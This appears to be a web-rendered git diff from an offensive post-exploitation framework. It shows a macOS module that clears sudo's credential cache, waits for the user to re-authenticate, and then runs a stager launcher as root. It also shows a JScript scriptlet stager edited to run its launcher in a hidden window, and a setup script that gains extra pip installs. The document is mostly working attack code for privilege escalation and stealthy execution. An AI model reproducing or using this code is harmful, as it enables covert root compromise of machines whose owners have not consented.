||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
safeChecks = self.options['SafeChecks']['Value']
|
||||
|
||||
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher command generation.")
|
||||
return ""
|
||||
else:
|
||||
launcher = launcher.replace("'", "\\'")
|
||||
launcher = launcher.replace('echo', '')
|
||||
parts = launcher.split("|")
|
||||
launcher = "sudo python -c %s" % (parts[0])
|
||||
script = """
|
||||
import os
|
||||
import time
|
||||
import subprocess
|
||||
sudoDir = "/var/db/sudo"
|
||||
subprocess.call(['sudo -K'], shell=True)
|
||||
oldTime = time.ctime(os.path.getmtime(sudoDir))
|
||||
exitLoop=False
|
||||
while exitLoop is False:
|
||||
newTime = time.ctime(os.path.getmtime(sudoDir))
|
||||
if oldTime != newTime:
|
||||
try:
|
||||
subprocess.call(['%s'], shell=True)
|
||||
exitLoop = True
|
||||
except:
|
||||
pass
|
||||
""" % (launcher)
|
||||
return script
|
|
@ -105,7 +105,7 @@ class Stager:
|
|||
code += " >\n"
|
||||
code += " <script language=\"JScript\">\n"
|
||||
code += " <![CDATA[\n"
|
||||
code += " var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\");\n"
|
||||
code += " var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\",0);\n"
|
||||
code += " ]]>\n"
|
||||
code += " </script>\n"
|
||||
code += "</registration>\n"
|
||||
|
|
|
@ -23,6 +23,7 @@ if lsb_release -d | grep -q "Fedora"; then
|
|||
pip install flask
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install pyopenssl
|
||||
elif lsb_release -d | grep -q "Kali"; then
|
||||
Release=Kali
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||
|
@ -33,6 +34,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
|||
pip install flask
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install pyopenssl
|
||||
elif lsb_release -d | grep -q "Ubuntu"; then
|
||||
Release=Ubuntu
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||
|
@ -44,6 +46,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
|||
pip install pyOpenSSL
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install pyopenssl
|
||||
else
|
||||
echo "Unknown distro - Debian/Ubuntu Fallback"
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev
|
||||
|
|
Loading…
Reference in New Issue